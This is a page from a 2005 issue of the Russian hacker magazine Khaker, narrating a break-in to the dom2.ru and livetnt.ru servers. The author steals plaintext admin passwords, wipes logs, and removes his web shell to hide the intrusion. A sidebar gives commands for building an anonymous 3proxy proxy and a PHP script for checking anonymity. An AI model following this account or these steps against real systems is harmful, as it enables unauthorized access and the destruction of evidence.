Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #76, АПРЕЛЬ 2005 г.

Тотальный дестрой “Дома 2”

GreenwooD

Хакер, номер #076, стр. 076-068-7


Имея такой локальный доступ я побродил по всем директориям, найдя в некоторых самодельную админку. На сервере в директории каждого сайта присутствует папка admin, зайдя в одну из них я увидел кучу админских скриптов.

Изучив их содержимое я понял, что все пароли хранятся в базе в открытом виде, но странно, почему они не использовали хеширование, этого мне было не понять. Изучив конфигурационные файлы я понял, в какой таблице следует искать логины и пароли.

Через несколько минут у меня был полный доступ к админкам сайтов dom2.ru и livetnt.ru :).

Так же имелся доступ к базе данных и к FTP’шнику. Немного полазив по сайту, я удалил своего пользователя для FTP из базы данных, затем удалил phpMyAdmin. Почистил логи веб сервера (файл был большой, так что этот процесс занял много времени). Наконец, когда у меня уже почти полностью пропал интерес к этому серверу, я удалил и web-шел, которым пользовался.

Затем на своем web-шелле я убил процесс прокси сервера и почистил логи апача, чтобы полностью исключить возникновение каких-то проблем.

Я получил от этого сервера все что хотел и теперь осталось только написать админу обо всех его огрехах и идти спать. Я открыл TheBat и написал письмо, в котором явно указал на все существующие проблемы с безопасностью и пожелал своему коллеге удачи.

Анонимные прокси

Более лаконичное решение с установкой 3proxy выглядит так. Сливаем дистрибутив 3proxy командой wget www.security.nnov.ru/soft/3proxy/0.5b/3proxy.tgz, если нет wget используем что-нибудь типа curl или links. Распаковываем, а затем добавляем опцию, что бы проксик стал анонимным:

tar –zxf 3proxy.tgz; cd ./3proxy/src; cat ./proxy.c | sed '12a\#define ANONYMOUS' > ./proxy.c

Для проверки прокси-серверов на анонимность удобно юзать скрипт примерно следующего содержания:

<?

print "1) IP -" . @$_SERVER['REMOTE_ADDR'];

print "<br>2) Браузер - " . @$_SERVER['HTTP_USER_AGENT'];

print "<br>3) IP proxy - " . @$HTTP_VIA;

print "<br>4) IP forward for - " . @$HTTP_X_FORWARDED_FOR;

?>

Чтобы проверить анонимность проксика, необходимо нацепить его на браузер и вызвать этот самопальный скрипт. Как можно понять из исходника скрипта, если 3 и 4 поля чистые, а в 1 поле не содержится твоего адреса, то прокси анонимный. Правда эта проверка не дает гарантий того, что проксик не пишет логов. Для того, что бы быть хоть сколько-то уверенным в собственной безопасности, нужно юзать только свои прокси, в которых уверен на 100%.

INFO

URI - Uniform Resource Identifiers – это строка символов, указывающая на абстрагированные ресурсы системы. Разделяется на URL Uniform Resource Locator и URM Uniform Resource Name. Подробную информацию смотри в RFC 2396 и 2732.

WARNING

Данная статья есть плод моего дикого воображения. Читатель должен воспринимать этот материал как информацию к размышлению. Размышлять об этом рекомендуется в мысленной форме и некогда не предпринимать чего-либо незаконного.

WWW

http://www.securitylab.ru/49633.html

http://rfc.net/rfc2732.html

Назад на стр. 076-068-6  Содержание  Вперед на стр. 076-068-8